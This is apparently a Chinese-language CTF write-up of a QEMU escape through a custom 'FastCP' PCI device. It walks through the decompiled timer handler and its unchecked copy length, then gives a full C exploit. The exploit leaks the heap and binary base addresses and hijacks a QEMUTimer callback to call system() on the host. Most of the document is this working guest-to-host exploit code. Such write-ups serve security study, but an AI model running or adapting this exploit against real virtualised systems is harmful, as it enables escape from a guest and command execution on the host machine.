启动脚本长这样。
#!/bin/sh
./qemu-system-x86_64 -initrd ./initramfs-busybox-x64.cpio.gz -nographic -kernel ./vmlinuz-5.0.5-generic -append "priority=low console=ttyS0" -monitor /dev/null --device FastCP
绿肯定是全绿
设备是FastCP
这是里面设备结构体的全貌
里面还有一个叫CP_state的结构体
三个参数
FastCP_realize函数中设置了一个定时器
定时器时间到了会调用fastcp_cp_timer函数
然后创建了一个mmio
fastcp_mmio_read
功能0x00 返回opaque->handling
功能0x08 返回opaque->cp_state.CP_list_src
功能0x10 返回opaque->cp_state.CP_list_cnt
功能0x18 返回opaque->cp_state.cmd
fastcp_mmio_write
功能0x08 给cp_list_src赋值
功能0x10 handing不是1的情况下给cp_list_cnt赋值
功能0x18 handing不是1的情况下给cp_list_cmd赋值然后调用timer
然后我们瞅瞅fastcp_cp_timer函数
void __fastcall fastcp_cp_timer(FastCPState *opaque)
{
uint64_t v1; // rax
uint64_t v2; // rdx
__int64 v3; // rbp
uint64_t v4; // r12
uint64_t v5; // rax
uint64_t v6; // rax
bool v7; // zf
uint64_t v8; // rbp
__int64 v9; // rdx
FastCP_CP_INFO cp_info; // [rsp+0h] [rbp-68h] BYREF
char buf[8]; // [rsp+20h] [rbp-48h] BYREF
unsigned __int64 v12; // [rsp+28h] [rbp-40h]
unsigned __int64 v13; // [rsp+38h] [rbp-30h]
v13 = __readfsqword(0x28u);
v1 = opaque->cp_state.cmd;
cp_info.CP_src = 0LL;
cp_info.CP_cnt = 0LL;
cp_info.CP_dst = 0LL;
switch ( v1 ) // cp_state.cmd来做选择
{
case 2uLL: // 选择2
v7 = opaque->cp_state.CP_list_cnt == 1; // v7是cp_list_cnt是不是1
opaque->handling = 1; // handing置1
// 也就是不再给计时器机会
if ( v7 ) // 要求v7是1也就是cp_list_cnt不是1
{ // cpu_physical_memory_rw(a1, a2, a3, 1);是将a2复制到a1,而cpu_physical_memory_rw(a1, a2, a3, 0);则将a1复制到a2
// 但是要注意的是,cpu_physical_memory_rw的第一个参数为硬件地址,即物理地址,所以我们需要将qemu里面的虚拟地址,转化为物理地址。
cpu_physical_memory_rw(opaque->cp_state.CP_list_src, &cp_info, 0x18uLL, 0);// 所以就list_src里面的复制0x18个字节到cp_info结构体
if ( cp_info.CP_cnt <= 0x1000 ) // cp_cnt必须小于0x1000
// 然后就可以把cp_info.cp_src中的复制到cp_buffer
cpu_physical_memory_rw(cp_info.CP_src, opaque->CP_buffer, cp_info.CP_cnt, 0);
v6 = opaque->cp_state.cmd & 0xFFFFFFFFFFFFFFFCLL;
opaque->cp_state.cmd = v6;
goto LABEL_11; // 然后拜拜
}
break;
case 4uLL:
v7 = opaque->cp_state.CP_list_cnt == 1;
opaque->handling = 1;
if ( v7 ) // cp_list_cnt还得不是1
{ // 还是list_src写进去cp_info结构体
// cp_buffer又能写cnt个到cp_dst
cpu_physical_memory_rw(opaque->cp_state.CP_list_src, &cp_info, 0x18uLL, 0);
cpu_physical_memory_rw(cp_info.CP_dst, opaque->CP_buffer, cp_info.CP_cnt, 1);// 这里没有对这个cnt有检查
v6 = opaque->cp_state.cmd & 0xFFFFFFFFFFFFFFF8LL;
opaque->cp_state.cmd = v6; // 然后又拜拜
LABEL_11:
if ( (v6 & 8) != 0 ) // cmd要求是8
{
opaque->irq_status |= 0x100u;
if ( msi_enabled(&opaque->pdev) )
msi_notify(&opaque->pdev, 0);
else
pci_set_irq(&opaque->pdev, 1);
}
goto LABEL_16; // 但是走了这个地方之后又handing等于0了
// 就又能启动timer了
}
break;
case 1uLL: // 功能1
v2 = opaque->cp_state.CP_list_cnt;
opaque->handling = 1;
if ( v2 > 0x10 ) // list_cnt根据0x10分一下
{
LABEL_22:
v8 = 0LL;
do
{
v9 = 3 * v8++; // 它就24个字节循环一下
// 控制cp_info结构体
// 然后src写到buffer
// 再从buffer读到dst
// 但是仍然没有对CP_cnt进行设置
// 就能改dst的话任意写。
cpu_physical_memory_rw(opaque->cp_state.CP_list_src + 8 * v9, &cp_info, 0x18uLL, 0);
cpu_physical_memory_rw(cp_info.CP_src, opaque->CP_buffer, cp_info.CP_cnt, 0);
cpu_physical_memory_rw(cp_info.CP_dst, opaque->CP_buffer, cp_info.CP_cnt, 1);
}
while ( opaque->cp_state.CP_list_cnt > v8 );
}
else
{
if ( !v2 ) // cnt不能是0
{
LABEL_10:
v6 = v1 & 0xFFFFFFFFFFFFFFFELL;
opaque->cp_state.cmd = v6;
goto LABEL_11;
}
v3 = 0LL;
v4 = 0LL;
while ( 1 )
{
cpu_physical_memory_rw(v3 + opaque->cp_state.CP_list_src, buf, 0x18uLL, 0);// 能写buf 能覆盖v12 v13
if ( v12 > 0x1000 ) // v12不能大于0x1000
break;
v5 = opaque->cp_state.CP_list_cnt;
++v4;
v3 += 24LL;
if ( v4 >= v5 )
{
if ( !v5 ) // 这里似乎没啥用
break;
goto LABEL_22;
}
}
}
v1 = opaque->cp_state.cmd;
goto LABEL_10;
default:
return;
}
opaque->cp_state.cmd = 0LL;
LABEL_16:
opaque->handling = 0;
}
思路还是比较简单的
我们就正常越界读泄露基地址
劫持QEMUTimer结构体就行。
在文件系统中拿到用户名密码
用户是root 没有密码
拿到id
解压打包脚本
mkdir exp
cp initramfs-busybox-x64.cpio.gz exp
cd exp
gunzip ./initramfs-busybox-x64.cpio.gz
cpio -idmv < ./initramfs-busybox-x64.cpio
gcc -static exp.c -o exp
find . | cpio -o --format=newc > initramfs-busybox-x64.cpio
gzip initramfs-busybox-x64.cpio
cp initramfs-busybox-x64.cpio.gz ..
我们结合着调试看分步再看一下漏洞利用。
首先把buf填满
然从buf复制到buf
首先要注意的是
我们读写超过了0x1000,所以需要申请两个页以上
但是因为虽然看似我们mmap(0x2000),但是他们的物理地址其实并不相连
所以我们首先第一步就是要重复mmap得到两个物理地址相连的页。
而且我们要注意写脚本过程中取泄露值的时候不能直接*(buf0 +0x201)
因为虽然物理地址上两个页是相连的,但是我们的exp利用的是qemu里面程序的虚拟地址,他俩并不连续,所以泄露地址我们应该直接用buf1
泄露程序基地址以及heap地址之后
然后就能拿到system的地址
以及一会写字符串的地址
然后就尝试去任意写覆盖QEMUTimer中的地址。
cb指针改成system
opaque改成写/bin/sh的地址
当然要体现把/bin/sh写进去。
最后触发timer_mod就可以。
exp
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT) //4096
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
//cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource0
uint32_t mmio_addr = 0xfea00000;
uint32_t mmio_size = 0x100000;
uint64_t *userbuf;
uint64_t phy_userbuf;
unsigned char* mmio_mem;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void* mem_map( const char* dev, size_t offset, size_t size )
{
int fd = open( dev, O_RDWR | O_SYNC );
if ( fd == -1 ) {
return 0;
}
void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );
if ( !result ) {
return 0;
}
close( fd );
return result;
}
uint64_t page_offset(uint64_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
die("open pagemap");
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
uint8_t mmio_read(uint64_t addr)
{
return *((uint64_t*) (mmio_mem+addr));
}
void mmio_write(uint64_t addr, uint64_t value)
{
*( (uint64_t *) (mmio_mem+addr) ) = value;
}
void set_list_cnt(uint64_t cnt){
mmio_write(0x10, cnt);
}
void set_src(uint64_t src){
mmio_write(0x8, src);
}
void set_cmd(uint64_t cmd){
mmio_write(0x18, cmd);
}
void set_read(uint64_t cnt){
set_src(phy_userbuf);
set_list_cnt(cnt);
set_cmd(0x4);
sleep(1);
}
void set_write(uint64_t cnt){
set_src(phy_userbuf);
set_list_cnt(cnt);
set_cmd(0x2);
sleep(1);
}
void set_read_write(uint64_t cnt){
set_src(phy_userbuf);
set_list_cnt(cnt);
set_cmd(0x1);
sleep(1);
}
uint64_t* buf0;
uint64_t* buf1;
//uint64_t* buf0, buf1;
size_t phy_buf0, phy_buf1;
void get_pages()
{
size_t buf[0x1000];
size_t arry[0x1000];
size_t arr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED, 0, 0);
*(char *)arr = 'a';
int n = 0;
buf[n] = gva_to_gfn(arr);
arry[n++] = arr;
for (int i = 1; i < 0x1000; i++)
{
arr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED, 0, 0);
*(char *)arr = 'a';
size_t fn = gva_to_gfn(arr);
for (int j = 0; j < n; j++)
{
if (buf[j] == fn + 1 || buf[j] + 1 == fn)
{
if (fn > buf[j])
{
buf0 = arry[j];
buf1 = arr;
phy_buf0 = (buf[j]<<12);
}
else
{
buf1 = arry[j];
buf0 = arr;
phy_buf0 = (fn<<12);
}
return;
}
}
buf[n] = fn;
arry[n++] = arr;
}
}
int main(int argc, char *argv[])
{
system( "mknod -m 660 /dev/mem c 1 1" );
mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );
if ( !mmio_mem ) {
die("mmap mmio failed");
}
userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
mlock(userbuf, 0x1000);
phy_userbuf=gva_to_gpa(userbuf);
printf("user buff virtual address: %p\n",userbuf);
printf("user buff physical address: %p\n",(void*)phy_userbuf);
get_pages();
memset(buf0, 'a', 0x1000);
memset(buf1, 'a', 0x1000);
mlock(buf0, 0x1000);
mlock(buf1, 0x1000);
phy_buf0=gva_to_gpa(buf0);
phy_buf1=gva_to_gpa(buf1);
printf("buf0 virtual address: %p\n",buf0);
printf("phy_buf0 physical address: %p\n",(void*)phy_buf0);
printf("buf1 virtual address: %p\n",buf1);
printf("phy_buf1 physical address: %p\n",(void*)phy_buf1);
//padding
*(userbuf) = phy_buf0;
*(userbuf + 1) = 0x1000;
*(userbuf + 2) = 0xdeadbeef;
set_write(1);
//arbatiary read
//read QEMUTImer cb
*(userbuf) = 0xdeadbeef;
*(userbuf + 1) = 0x1020;
*(userbuf + 2) = phy_buf0;
set_read(1);
uint64_t timer_list = *(buf1 + 0x1);
uint64_t cb_addr = *(buf1 + 0x2);
uint64_t heap_base = timer_list - 0x2456e0;
uint64_t base_addr = cb_addr - 0x4dce80;
uint64_t system_plt = base_addr + 0x2c2180;
uint64_t buf_addr = heap_base + 0xf1dec0;
printf("timer_list: %p\n",timer_list);
printf("cb_addr: %p\n",cb_addr);
printf("heap_base: %p\n",heap_base);
printf("base_addr: %p\n",base_addr);
printf("system_plt: %p\n",system_plt);
printf("buf_addr: %p\n",buf_addr);
//arbatiary write
//hijack QEMUTImer
memset(buf0, 'b', 0x1000);
//char *command="cat /root/flag\x00";
char *command = "gnome-calculator\x00";
memcpy(buf0 + 0x20,command,strlen(command) + 1);
*(buf1 + 0x2) = system_plt;
*(buf1 + 0x3) = buf_addr + 0x100;
*(userbuf) = phy_buf0;
*(userbuf + 1) = 0x1020;
*(userbuf + 2) = phy_buf1;
set_read_write(0x20);
//get shell
set_cmd(1);
return 0;
}